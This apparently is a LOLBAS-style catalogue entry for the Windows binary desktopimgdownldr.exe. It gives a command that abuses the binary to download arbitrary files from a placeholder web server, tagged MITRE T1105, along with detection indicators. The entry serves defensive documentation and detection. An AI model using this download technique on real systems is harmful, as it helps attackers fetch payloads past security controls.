2020-07-02 19:46:05 +02:00
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2020-07-03 15:04:09 +02:00
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Name: Desktopimgdownldr.exe
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2020-07-02 19:46:05 +02:00
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Description: Windows binary used to configure lockscreen/desktop image
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Author: Gal Kristal
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Created: 28/06/2020
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Commands:
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- Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
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Description: Downloads the file and sets it as the computer's lockscreen
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Usecase: Download arbitrary files from a web server
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Category: Download
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Privileges: User
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2020-07-03 15:05:33 +02:00
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MitreID: T1105
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MitreLink: https://attack.mitre.org/techniques/T1105/
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2020-07-02 19:46:05 +02:00
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OperatingSystem: Windows 10
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Full_Path:
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- Path: c:\windows\system32\desktopimgdownldr.exe
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Code_Sample:
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- Code:
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Detection:
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- IOC: desktopimgdownldr.exe that creates non-image file
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- IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl
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Resources:
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- Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
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Acknowledgement:
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- Person: Gal Kristal
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2020-07-03 15:05:33 +02:00
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Handle: '@gal_kristal'
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2020-07-03 15:04:09 +02:00
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---
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